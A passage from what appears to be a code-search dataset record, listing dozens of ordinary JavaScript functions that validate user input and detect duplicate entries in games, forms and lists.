(nonDNA !== -1) {\n errors.push(`Non-DNA character found at position ${nonDNA}`);\n }\n return errors;\n }","function duplicateInputFieldMessage(fieldName) {\n return \"There can be only one input field named \\\"\".concat(fieldName, \"\\\".\");\n}","checkDupe() {\n let occurrences = this.props.occurrences;\n let habit = this.state.currentHabit;\n let time = JSON.parse(JSON.stringify(this.state.habitTime));\n let quantity = this.state.quantity;\n let found = false;\n\n occurrences.forEach(item => {\n if (item.timestamp.slice(0, 10) === time.slice(0, 10)) {\n found = true;\n }\n });\n\n if (found) {\n alert('Please make any updates to existing logs by updating your table');\n } else {\n this.props.logHabit(habit, time, quantity);\n }\n }","function checkIndivDupe() {\n var firstInstance = true;\n var dupeCount = 0;\n \n var validUserRows = validUserSheet.getLastRow() + 1;\n for (var row = 1; row < validUserRows; row++) {\n if (validUserSheet.getRange(row, 6).getValue() == userEmail) {\n if (firstInstance) {\n isIndivDupe = true;\n //get original batch ID\n origBatchId = validUserSheet.getRange(row, 2).getValue();\n origUID = validUserSheet.getRange(row, 3).getValue();\n origUserFirst = validUserSheet.getRange(row, 4).getValue();\n origUserLast = validUserSheet.getRange(row, 5).getValue();\n origUserEmail = validUserSheet.getRange(row, 6).getValue();\n origUserOrg = validUserSheet.getRange(row, 7).getValue();\n firstInstance = false;\n }\n //increment duplicate count\n dupeCount++;\n }\n }\n \n Logger.log('This a duplicate 1: ' + isIndivDupe);\n Logger.log('The original Batch ID is: ' + origBatchId);\n \n if (isIndivDupe) {\n //get info about original submission using original batch ID\n \n var logSheetRows = logSheet.getLastRow() + 1;\n for (var logRow = 1; logRow < logSheetRows; logRow++) {\n if (logSheet.getRange(logRow, 3).getValue() == origBatchId) {\n origRespFirst = logSheet.getRange(logRow, 4).getValue();\n origRespLast = logSheet.getRange(logRow, 5).getValue();\n origRespName = origRespFirst + ' ' + origRespLast;\n origRespEmail = logSheet.getRange(logRow, 6).getValue();\n origTime = logSheet.getRange(logRow, 1).getValue();\n origTime = Utilities.formatDate(origTime, ss.getSpreadsheetTimeZone(), \"M/d/yy 'at' h:mm a\");\n }\n }\n \n }\n \n }","function checkDuplicates(args) {\n const check = {}\n\n for (let val of args) {\n check[val] = (check[val] || 0) + 1\n }\n\n for (let key in check) {\n if (check[key] > 1) return true\n }\n\n return false\n}","function isDuplicates (alphabet) {\n let array = [];\n for (let i = 0; i < alphabet.length; i++) {\n if (array.includes (alphabet[i])) {\n return true;\n }\n array.push (alphabet[i]);\n }\n return false;\n }","function chkAns(){\n\tif(usrGss % 1 !== 0){\n\t\t//feedback when your user uses only text chars not number\n\t\t$(\"#newFdbk\").text(\"please input only numbers\");\n\t\treturn true;\n\t}\n\tif(usrGss < 0 || usrGss > 101){\n\t\t//feedback to the user if they use numbers beyond 100 o negative numbers\n\t\t$(\"#newFdbk\").text('Try a number between 0 and 100');\n\t\treturn true;\n\t}\n\tif(gssHsty.length > 0){\n\t\t$.each(gssHsty,function(guess,value){//loop through the entire guess history array to look for any number that has been repated by the user guess\n\t\t\tif(usrGss == value){//compare the equality of each value in the array\n\t\t\t\tgssed = true;//set taht guessed value to true\n\t\t\t}\n\t\t}); \n\t}\n\tif(gssed){//here we evaluate the guessed number previusly found as a repeated number input by the user\n\t\tgssed = false;\n\t\t//if the user repeats any number, they will get this feedback\n\t\t$(\"#newFdbk\").text('You already used this number');\n\t\treturn true;\n\t}\nreturn false;\n}","submitWord(event) {\n event.preventDefault();\n let word = document.getElementById('inputBox').value.toLowerCase();\n document.getElementById('inputBox').value = '';\n if(/^[a-zA-Z]+$/.test(word)) {\n let submittedWords = this.state.submittedWords;\n if (!submittedWords.includes(word)) {\n answer(word);\n }\n }\n }","function isDuplicate(str) {\n for (i = 0; i < guessesSoFarArray.length; i++) {\n if (str === guessesSoFarArray[i]) {\n return true;\n } else { }\n } // end of for loop\n return false;\n} // end of isDuplicate()","function validateLetter (usersKeypress) {\n message.innerText = \"\";\n\n var repeatGuess = lettersGuessed.some(function(item){\n return item === usersKeypress;\n })\n\n //alert player if the above code is true.\n if (repeatGuess) {\n //alert(usersKeypress + \" already guessed. Try again!\");\n message.innerHTML = \"Already guessed that. Try again!\";\n\n //if it is not a repeat guess, check if it's in word\n } else {\n lettersGuessed.push(usersKeypress);\n console.log(\"Guessed so far\", lettersGuessed);\n\n //show user's input in browser\n showLettersGuessed();\n //is user's input a match to computer guess\n guessMatch(usersKeypress);\n }\n\n}"],"string":"[\n \"function checkIsDuplicatingInputs(numOfInputs) {\\n const InputsArr = [];\\n for (let i = 1; i <= numOfInputs; i++) {\\n InputsArr.push(document.getElementById(`serial-${i}`).value + '-' + document.getElementById(`typeName-${i}`).value);\\n }\\n return InputsArr.length === new Set(InputsArr).size;\\n }\",\n \"function uniqueInput(input){\\n\\t\\tvar temp = 0;\\n\\t\\tfor(m=0; m < guessedLetters.length; m++) {\\n\\t\\t\\tif (guessedLetters[m] === input){\\n\\t\\t\\t\\ttemp++;\\n\\t\\t\\t\\t// log(\\\"Temp count: \\\" + temp);\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif (temp === 0){\\n\\t\\t\\tuniqueLetter = true;\\n\\t\\t\\t// alert(\\\"First Time\\\");\\n\\t\\t\\treturn uniqueLetter;\\n\\t\\t\\tguessedLetters.push(input);\\n\\t\\t}\\n\\t\\telse if(temp !== 0){\\n\\t\\t\\tuniqueLetter = false;\\n\\t\\t\\t// alert(\\\"Please Pick a new letter that you have not used before.\\\");\\n\\t\\t\\treturn uniqueLetter;\\n\\t\\t}\\n\\t}\",\n \"function duplicateChecker(input) {\\r\\n let duplicateSwitch = false;\\r\\n if (ul.children.length > 0) {\\r\\n for (let i = 0; i < ul.children.length; i++) {\\r\\n if (input.value === ul.children[i].children[0].textContent) {\\r\\n duplicateSwitch = true;\\r\\n break;\\r\\n };\\r\\n }\\r\\n }\\r\\n return duplicateSwitch;\\r\\n }\",\n \"function checkUserDuplicates(value) {\\n if (!userInputsArray.includes(value)) {\\n userInputsArray.push(value);\\n\\n return true;\\n }\\n\\n return false;\\n}\",\n \"function inputIsValid(){\\n\\tconsole.log(ul.children.length);\\n\\tif (input.value.length > 0)\\n\\t{\\n\\t\\tfor (i = 0, len = ul.children.length; i < len; i++) {\\t\\t\\t\\n\\t\\t\\t// Notebook \\n\\t\\t\\t// ul.children[i] = selected list item (textContent for above example = \\\"Notebook Delete\\\", so inspect span tag only)\\n\\t\\t\\t// ul.children[i].children[0] = span tag of the selected list item\\t\\t\\t\\n\\t\\t\\tvar entry = ul.children[i].children[0].textContent.toLowerCase().trim();\\n\\t\\t if (input.value.toLowerCase().trim() === entry) {\\n\\t\\t \\treturn false //don't add duplicate item\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tconsole.log(\\\"isValid\\\");\\n\\t\\treturn true;\\n\\t}\\n\\treturn false;\\n}\",\n \"function DuplicateIn() {\\n\\n var formInvalid = false;\\n $('#register_form input').each(function() {\\n if ($(this).val() === '') {\\n formInvalid = true;\\n }\\n });\\n\\n if (formInvalid)\\n alert('One or Two fields are empty. Please fill up all fields');\\n}\",\n \"function appendListIfInputValid(input) {\\n // info: slice() slices the string and returns it starting from the given index\\n // toUpperCase() converts a string to uppercase letters.\\n // toLowerCase() converts a string to lowercase letters.\\n input = input.charAt(0).toUpperCase() + input.slice(1).toLowerCase();\\n\\n // appends list array and returns true if no duplicate or empty values else returns false\\n if (searchArrayForItem(list, input) == -1 && input != '') {\\n list.push([input, 'noCheck']);\\n return true;\\n } else return false;\\n}\",\n \"function addTokenGuard()\\n {\\n if(input.val() == '' || input.val() == undefined)\\n return true;\\n\\n // If the value already exists in the list then dont add it\\n var dirty = false;\\n list.children('li').each(function() {\\n if($(this).html() == input.val())\\n dirty = true;\\n });\\n\\n return dirty;\\n }\",\n \"function manage_user_input(){\\n let input = $(\\\"#user_input\\\").val().toUpperCase();\\n if(input.length > 0 && !all_user_input.includes(input)){\\n $(\\\"#game_message_p\\\").attr(\\\"hidden\\\",true);\\n $(\\\"#user_input\\\").val(\\\"\\\");\\n let isTarget = check_user_input(input);\\n store_user_input(input,isTarget);\\n } else {\\n $(\\\"#game_message_p\\\")\\n .text(\\\"Input too short (min length = 1) or you already tried this word.\\\")\\n .attr(\\\"hidden\\\",false);\\n }\\n}\",\n \"function addTo() { \\n//had to parseInt so that player choices were converted to integars to be compared with lottoArray latter - this takes userinput, coverts it to an integar and populates playerArray\\n playerChoice = parseInt(document.getElementById(\\\"userinput\\\").value);\\n //created to manage situations where the player may input a duplicate option (this disallows duplicates in the array)\\n if (playerArray.length < 6 && playerArray.indexOf(playerChoice) === -1){\\n playerArray.push(playerChoice); \\n //highlights with an alert when the player has chosen all 6 numbers\\n if(playerArray.length == 6){\\n printNumbersPlayer()\\n alert(\\\"you have now chosen your 6 numbers!\\\");\\n }\\n\\n return false;\\n }\\n //this else statement posts an alert if a duplicate has been used\\n else {\\n alert(\\\"you have used a duplicate, try another number!\\\");\\n return false;\\n }\\n }\",\n \"function checkDuplicatePicklistValues(arr) {\\n\\tvar len=arr.length;\\n\\tfor (var i=0; i 2) throw new Error('Input must contain only two character types')\\n }\\n return [[...seen], input]\\n}\",\n \"function add(animals, animal) {\\n// takes an array of animals and an object representing a new animal\\n // checks that the param animal Object has a name prop with a length > 0 && species prop with a length > 0\\n // checks that the new animal has a UNIQUE name that doesn't already exist in the animals array\\n \\n // if user types something into the fields\\n if (animal.name.length > 0 && animal.species.length > 0) {\\n // loop to check to see if the name exists \\n for (let i = 0; i < animals.length; i++) {\\n if (animal.name === animals[i].name) {\\n console.log (\\\"that animal exists\\\");\\n return;\\n } \\n }\\n animals.push(animal);\\n }\\n}\",\n \"checkUserInput() {\\r\\n const {\\r\\n drugId1, drugId2, sample, dataset,\\r\\n } = this.state;\\r\\n return drugId1 !== 'Any' || sample !== 'Any' || dataset !== 'Any' || drugId2 !== 'Any';\\r\\n }\",\n \"function isDuplicateEntry(wslId) {\\r\\n\\t//alert(\\\"wslField = \\\" + wslField);\\r\\n\\tvar wslIdList = getMainView().forms[0].elements[wslField];\\r\\n\\t//alert(\\\"wslIdList = \\\" + wslIdList);\\r\\n\\tvar duplicate = false;\\r\\n\\t//alert(\\\"!wslIdList = \\\" + (!wslIdList));\\r\\n\\tif(!wslIdList) return false;\\r\\n\\t\\r\\n\\t//alert(\\\"wslIdList.length = \\\" + wslIdList.length);\\r\\n\\tif(wslIdList.length) {\\r\\n\\t\\t// there are more than one entry\\r\\n\\t\\tfor(var z=0; z 1) return true\\n }\\n return false;\\n}\",\n \"function removeDuplicates (input) {\\n\\t\\t\\tlet result = input.filter(function(item, pos) {\\n\\t\\t\\t\\treturn input.indexOf(item) == pos;\\n\\t\\t\\t});\\n\\t\\t\\treturn result\\n\\t\\t}\",\n \"function areThereDuplicates2() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n }\",\n \"function findDuplicate() {\\n\\n var modelsArray = [$scope.data.first, $scope.data.second, $scope.data.third, $scope.data.fourth];\\n var filteringModelsArray = _.uniq(modelsArray);\\n\\n return filteringModelsArray.length === modelsArray.length;\\n }\",\n \"function checkForDuplicates()\\r\\n\\t{\\r\\n\\tfor (i=0; i < activeClippings.length; i++)\\r\\n\\t\\t{\\r\\n\\t\\tif (newClipping == activeClippings[i].id) {i = allClippings.length; duplicate = true;}\\r\\n\\t\\t}\\r\\n\\t}\",\n \"function checkInput(guess) {\\n\\t\\tfor (var i = 1; i <= 4; i++) {\\n\\t\\t\\tvar inputnow = \\\"input\\\" + i;\\n\\t\\t\\t//console.log(inputnow);\\n\\t\\t\\tvar newNum = parseInt(document.getElementById(inputnow).value);\\n\\t\\t\\tconsole.log(newNum);\\n\\t\\t\\tif (isValid(newNum)) {\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (checkNum(newNum, guess)) {\\n\\t\\t\\t\\t\\t// Good to go. \\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tdocument.getElementById(\\\"message\\\").innerHTML = \\\"\\\" + newNum + \\\"Is a duplicate number. Fix it
\\\";\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tdocument.getElementById(\\\"message\\\").innerHTML = \\\"Hey, you forgot to enter a number. You might do that before I just decide to keep your money and tell you to go away
\\\";\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t}\\n\\t}\",\n \"function isDuplicate(name,phone,twitter){\\n\\tvar isduplicate=false; \\n\\t\\tfor(var i=0;i 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function handleSaveUrl() {\\n inputValue = input.value;\\n let checkUrl = arrWithUrl.includes(inputValue);\\n if(checkUrl) {\\n showModal();\\n modalContent.textContent = \\\"You have already saved this url\\\"; \\n } else {\\n arrWithUrl.push(inputValue);\\n setLocalStorage(arrWithUrl);\\n createUrlItem(inputValue);\\n }\\n form.reset();\\n}\",\n \"function validateNamesUnique() {\\n var i = 0;\\n while (vm.paramsForm.hasOwnProperty('name_' + i)){\\n var modelValue = vm.paramsForm['name_' + i].$modelValue;\\n vm.paramsForm['name_' + i].$setValidity(\\n 'unique',\\n vm.parametersList.isNameUnique(modelValue)\\n );\\n i++;\\n }\\n }\",\n \"function areThereDuplicates() {\\n // console.log(arguments)\\n let counter = {};\\n for (let i=0; i< arguments.length; i++){\\n // counter[arguments[i]] = ++counter[arguments[i]] || 1;\\n if (counter[arguments[i]]) return true;\\n counter[arguments[i]] = 1;\\n // console.log(counter)\\n\\n }\\n return false;\\n}\",\n \"function checkDuplicatedNames() {\\n\\n for(var i = 0; i < productTable.length; i++)\\n {\\n if(productName.value == productTable[i].name) \\n {\\n productName.classList.add(\\\"is-invalid\\\");\\n productName.classList.remove(\\\"is-valid\\\");\\n\\n PNameAlert.classList.add(\\\"d-block\\\");\\n PNameAlert.classList.remove(\\\"d-none\\\");\\n\\n PNameAlert.innerHTML = \\\"Product Name Already Exists\\\";\\n\\n addBtn.disabled = true;\\n } \\n }\\n}\",\n \"function insertNum(){\\r\\n var win = true;\\r\\n for (var i = 0; i < numbers.length; i++) {\\r\\n userList[i] = Number(prompt(\\\"Inserisci il \\\"+ (i+1) +\\\"° numero\\\"));\\r\\n if (userList[i] === numbers[i]) {\\r\\n win *= true;\\r\\n }\\r\\n else{\\r\\n win = false;\\r\\n }\\r\\n }\\r\\n return win;\\r\\n}\",\n \"function getValue(input){\\n //if our dot array operators2 includes(includes basically check a value)..if value u r checking is within operators2, it will return true, if not, it will return false..last value=inputs.length-1\\n if(operators2.includes(inputs[inputs.length-1]===true && input===\\\".\\\")){\\n console.log(\\\"Duplicat '.' \\\");\\n }\\n //if very first number is exactly = 1\\n else if(inputs.length===1 && operators1.includes(input)===false){\\n //add value to inputs array..inputs=array..input=this.id that we will be adding..so basically is checking if it is a number\\n inputs.push(input); \\n }\\n //if last thing was not an operator, go ahead and add that input to the array\\n //if last character was not an operator, add operator to the array\\n else if(operators1.includes(inputs[inputs.length-1])===false){\\n inputs.push(input);\\n }\\n //check to add a number..convert string to number\\n //if input includes,of how we r getting id, convert string to number..if it includes that input..if that is true..\\n else if(nums.includes(Number(input))){\\n //push input to end of array?\\n inputs.push(input);\\n }\\n //update function will update value at end of our list\\n update();\\n }\",\n \"function findDuplicateCharacters(input) {\\n}\",\n \"inNoOfShare() {\\n var flag = true;\\n var Noofshares = read.question(\\\"Enter how many shares you have \\\");\\n while (flag) {\\n\\n if (!isNaN(Noofshares)) {//for validate full name\\n flag = false;\\n } else {\\n var Noofshares = read.question(\\\"Wrong input !!!...Please enter No of shares in integer \\\");\\n }\\n }\\n return Noofshares;\\n }\",\n \"function hasElementsWithUniqueNames() {\\n let duplicates = findDuplicates(inputsSelectsTextareas, 'name', 'formAncestorID')\\n // Radio buttons have duplicate names.\\n .filter(field => field.type !== 'radio');\\n let problemFields = duplicates.map(field => stringifyElement(field));\\n // Deduplicate items with same tagName and id.\\n problemFields = [...new Set(problemFields)];\\n if (problemFields.length) {\\n const item = {\\n // description: 'Autocomplete values must be valid.',\\n details: 'Found fields in the same form with duplicate name attributes:
• ' +\\n `${problemFields.join('
• ')}`,\\n learnMore: 'Learn more: The input element name attribute',\\n title: 'Fields in the same form must have unique name values.',\\n type: 'error',\\n };\\n items.push(item);\\n }\\n}\",\n \"function validateInput(){\\n\\tvar api_key_input = $('#api-key-input');\\n\\tvar search_input = $('#summoner-name-input');\\n \\tif (!isEmpty(search_input) && !isEmpty(api_key_input)){\\n\\t\\tvar selected = getSelectedOption();\\n\\t\\t//alert(empty_checker + ' | ' + selected);\\n\\t\\tif (selected == 'summary'){\\n\\t\\t\\tsearchSummonerStatsSummary();\\n\\t\\t} else {\\n\\t\\t\\tsearchSummonerStatsRanked();\\n\\t\\t}\\n\\t}\\n}\",\n \"function areThereDuplicates() {\\n if (arguments.length < 2) return false;\\n const counter = {};\\n for (let i = 0; i < arguments.length; i++) {\\n if (counter[arguments[i]]) {\\n return true;\\n } else {\\n counter[arguments[i]] = 1;\\n }\\n }\\n return false;\\n}\",\n \"function userInput(){ \\n everythingOk = false; \\n while(everythingOk === false){\\n // answer = inputLength(); \\n upCaseRslt = upCase();\\n lcase = lowCase(); \\n numAnsr = numOpt();\\n symbolAnswer = simbl(); \\n if(upCaseRslt === false && lcase === false && numAnsr === false && symbolAnswer === false){\\n alert(\\\"at least one option must be checked in order to create password\\\"); \\n }else{ \\n everythingOk = true; \\n } \\n } \\n }\",\n \"function oneOfEach(sentence) {\\n let unique = [];\\n sentence = sentence.split('');\\n for(let i = 0; i < sentence.length; i++) {\\n if(!unique.includes(sentence[i])) {\\n unique.push(sentence[i]);\\n }\\n }\\n let newSentence = unique.join('');\\n return $('').text('No duplicates: ' + newSentence).appendTo('#outputs');\\n}\",\n \"function clickedScore() {\\n if (playerInitals.includes(nameSubmit.value)) {\\n alert(\\\"That inital already exist\\\");\\n } else if (\\n nameSubmit.value === \\\"\\\" ||\\n nameSubmit.value === null ||\\n nameSubmit.value === undefined\\n ) {\\n alert(\\\"Please enter valid initals\\\");\\n } else {\\n playerInitals.push(nameSubmit.value);\\n playerScores.push(score);\\n setLS();\\n matchHS();\\n viewHS();\\n }\\n}\",\n \"handleSubmit(event) {\\n event.preventDefault();\\n let symbol = event.target[0].value.trim();\\n if (symbol === '') {\\n alert('The input box was empty.');\\n } else if (this.state.stockSymbols.includes(symbol.toUpperCase())) {\\n alert('This stock symbol has already been entered.');\\n } else if (!this.state.validSymbols.includes(symbol.toUpperCase())) {\\n alert('That isn\\\\'t a valid stock symbol.');\\n } else {\\n let newSymbols = this.state.stockSymbols.slice();\\n newSymbols.push(symbol.toUpperCase());\\n this.setState({stockSymbols: newSymbols});\\n }\\n }\",\n \"function duplicateCheck() {\\n if(duplicateInput.checked) {\\n if (lengthInput.value.trim() <= 10) {\\n return(true)\\n }\\n else {\\n dupErrorString.textContent = \\\"You can only remove duplicates for a password of 10 or fewer characters\\\"\\n return(false)\\n }\\n }\\n else {\\n return(true)\\n }\\n}\",\n \"addSong(selectedSong){\\r\\n let newItem = this.userBand + \\\" - \\\" + selectedSong;\\r\\n //prevents adding of duplicate songs\\r\\n this.userSetlist.indexOf(newItem) === -1 ? this.userSetlist.push(newItem) : console.log(\\\"This song is already in the list\\\");\\r\\n }\",\n \"function readInput() {\\n clear(\\\"comparingDiv\\\")\\n\\n input1 = document.getElementById(\\\"searchbox1\\\").value;\\n input2 = document.getElementById(\\\"searchbox2\\\").value;\\n\\n var list = educationInterface.getIDs();\\n\\n if (!list.includes(input1) || !list.includes(input2)) \\n comparingDiv.appendChild(document.createTextNode(\\\"Invalid input. Please check that both field contain valid ids.\\\"));\\n else \\n createComparisionTables(input1.toString(), input2.toString());\\n\\n return false;\\n}\",\n \"inStockName() {\\n var name = read.question(\\\"Enter the name of stock \\\");\\n var flag = true;\\n while (flag) {//for validating inputs\\n\\n if (isNaN(name)) {//for validate the name \\n flag = false;\\n } else {\\n var name = read.question(\\\"Wrong input !!!...Please enter correct name of Stack \\\");\\n }\\n }\\n return name;\\n }\",\n \"function duplicateChars(letter) {\\n if (correctGuesses.includes(letter) || wrongGuesses.includes(letter)) {\\n warning = \\\"YOU ALREADY GUESSED THAT LETTER!\\\";\\n warningElement.innerHTML = warning;\\n }\\n}\",\n \"function duplicateFinder(word, inputValueArr, currentKey) {\\n console.log(\\\"word, inputValueArr, currentKey\\\", word, inputValueArr, currentKey);\\n\\n for (let i = 0; i < inputValueArr.length; i++) {\\n //exclude checking the current index while finding duplicates.\\n //This is done because the current index is where the {word} is saved. So we should check only with other objects in array.\\n if (currentKey != i && word === inputValueArr[i]) {\\n return true;\\n }\\n\\n }\\n return false;\\n}\",\n \"function checkInput() {\\n if (attempts > 0) {\\n let counter = 0;\\n\\n for (let toValidate of domList.children) {\\n let li = toValidate;\\n let wordChar = li.getAttribute(\\\"data-char\\\").toLowerCase();\\n let pChar = toValidate.querySelector(\\\"p\\\");\\n\\n if (wordChar === inputChar) {\\n counter = counter + 1;\\n pChar.classList.remove(\\\"hidden\\\");\\n }\\n }\\n let check = wrongKeys.includes(inputChar);\\n\\n if (counter === 0 && check === false) {\\n wrongKeys.push(inputChar);\\n displayWrongKeys();\\n }\\n }\\n countWrongAttempts();\\n}\",\n \"addEntry() {\\n let candidateName = this.state.newEntryName\\n let temp = this.state.pieData\\n let newId = this.generateId()\\n\\n //Avoiding empty labels\\n if(candidateName === ''){\\n alert(\\\"Please insert an entry name\\\")\\n } \\n else{\\n\\n //Ensuring that the label is unique by going through all labels in pie data..\\n for(var i = 0; i < temp.length; i++){\\n\\n //If not unique, the user is asked to enter a new entry, and the input box is reset. \\n if(temp[i].label === candidateName){\\n alert(\\\"This entry already exists. Please enter a unique entry name.\\\");\\n document.getElementById('newEntry').value = '';\\n return\\n }\\n }\\n\\n //If there are no errors, the entry object is pushed into pieData.\\n temp.push({id: newId, label: candidateName, value: '0', votes: 0});\\n this.setState({\\n pieData: temp,\\n newEntryName: ''\\n })\\n //Reset the data from the input\\n document.getElementById('newEntry').value = '';\\n }\\n }\",\n \"function combinedArray() {\\n var userName = prompt(\\\"Please enter a name\\\", \\\"Enter name here\\\");\\n var nameSearch = allNames.lastIndexOf(userName);\\n if (nameSearch > 0) {\\n alert(\\\"Your name is in the array\\\")\\n }\\n else {\\n alert(\\\"Your name is NOT in the array\\\")\\n }\\n}\",\n \"function areThereDuplicates() {\\n let freqCounter = {};\\n for(let i = 0; i < arguments.length; i++){\\n if(freqCounter[arguments[i]]){\\n return true;\\n } else {\\n freqCounter[arguments[i]] = true;\\n }\\n }\\n return false;\\n}\",\n \"function validateUnique(threeArray){\\n for(var i = 0; i < threeArray.length; i ++){\\n for(var v = 0; v < lastItemsSeen.length; v++){\\n if(threeArray[i].product === lastItemsSeen[v].product){\\n \\n return false;\\n \\n }\\n }\\n return true;\\n }\\n}\",\n \"function userInput() {\\n checkedUpper = window.confirm('Do you want Upper Case Letters?');\\n checkedLower = window.confirm('Do you want Lower Case Letters?');\\n checkedNumbers = window.confirm('Do you want Numbers?');\\n checkedSpecial = window.confirm('Do you want Special Characters?');\\n if (!checkedUpper && !checkedLower && !checkedNumbers && !checkedSpecial) {\\n alert(\\\"Must choose at least one\\\");\\n userInput();\\n }\\n}\",\n \"function areThereDuplicates() {\\n let collection = {};\\n for (let val in arguments) {\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1;\\n }\\n for (let key in collection) {\\n if (collection[key] > 1) return true;\\n }\\n return false;\\n}\",\n \"function checkUserInput(){\\n\\t\\t//check if title name is inputted\\n\\t\\tif (!$(element).find('input[id=edit_title_name]').val()){\\n\\t\\t\\talert (\\\"Please input the test's title name\\\");\\t\\t\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\t//check if test type is selected\\n\\t\\tif (!$('#edit_test_type').val()){\\n\\t\\t\\talert (\\\"Please choose the test type\\\");\\t\\t\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\t//check if total question number is inputted correctly\\n\\t\\tif ( isNaN($(element).find('input[id=edit_total_question]').val()) || !isPositiveInteger($(element).find('input[id=edit_total_question]').val()) ){\\n\\t\\t\\talert (\\\"Please input correct number in total main question number\\\");\\t\\t\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\t//check in each question set...\\n\\t\\tnGroups = $(element).find('input[id=edit_total_question]').val();\\n\\t\\tfor (var i=1;i<=nGroups;i++){\\n\\t\\t\\t//check if sub question number is inputted correctly\\n\\t\\t\\tif (isNaN($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) || !isPositiveInteger($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) ){\\n\\t\\t\\t\\talert (\\\"Please input correct number in total sub question number for Q\\\" + i);\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t}\\n\\t\\t\\t//check in each question...\\n\\t\\t\\tvar total_sub_question = $(element).find('input[id=edit_total_sub_question_' + i + ']').val();\\n\\t\\t\\tfor (var j=1;j<=total_sub_question;j++){\\n\\t\\t\\t\\t//check question content or picture is inputted\\n\\t\\t\\t\\tif (!$(element).find('input[name=question' + i + '\\\\\\\\.'+ j + ']').val() && !$(element).find('input[name=question' + i + '\\\\\\\\.'+ j + '_pic]').val()){\\n\\t\\t\\t\\t\\talert (\\\"Please input a question content or picture on Q\\\" + i + \\\".\\\" + j);\\n\\t\\t\\t\\t\\treturn false;\\t\\t\\t\\t\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//check learning object link and name are inputted.\\n\\t\\t\\t\\tif (!$(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_link]').val() && $(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_link]').length > 0){\\n\\t\\t\\t\\t\\tif (j==1) {}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\talert (\\\"Please input learning object link for Q\\\" + i + '.' + j);\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (!$(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_name]').val() && $(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_name]').length > 0){\\n\\t\\t\\t\\t\\tif (j==1) {}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\talert (\\\"Please input learning object name for Q\\\" + i + '.' + j);\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//variable to check for checkbox (correct answer)\\n\\t\\t\\t\\tvar isChecked = false;\\t\\n\\t\\t\\t\\t//check for each answer...\\n\\t\\t\\t\\tfor (var k=1;k<=4;k++){\\n\\t\\t\\t\\t\\t//check answer content is inputted\\n\\t\\t\\t\\t\\tif (!$(element).find('input[name=answer' + i + '\\\\\\\\.'+ j + '_'+ k + ']').val()){\\n\\t\\t\\t\\t\\t\\talert (\\\"Please input an answer for Q\\\" + i + \\\".\\\" + j);\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t//check if one of checkboxes is selected \\n\\t\\t\\t\\t\\tif ( $(element).find('input[id=answer' + i + '\\\\\\\\.'+ j + '_'+ k + '_cb]').is(':checked')){\\n\\t\\t\\t\\t\\t\\tisChecked = true;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//if no checkbox is selected\\n\\t\\t\\t\\tif (!isChecked){\\n\\t\\t\\t\\t\\talert (\\\"Please select one correct answer in Q\\\" + i + \\\".\\\" + j);\\n\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\t\\t\\n }\\n\\t\\treturn true;\\n\\t}\",\n \"function checkInput(){\\n if(isNaN(userGuess)) {\\n alert(\\\"Please enter a number from 1 - 100!\\\");\\n } else if(userGuess === \\\" \\\") {\\n alert(\\\"Well, you have to input a number\\\");\\n } else if (userGuess < 0 || userGuess > 100) {\\n alert(\\\"Plese enter a number from 1 - 100!\\\");\\n } else {\\n comparisonAmount();\\n console.log(\\\"User guess = \\\" + userGuess);\\n $('#userGuess').val('');\\n guessCount++;\\n setCount(guessCount);\\n $('ul#guessList').append(\\\" \\\" + userGuess + \\\" \\\");\\n 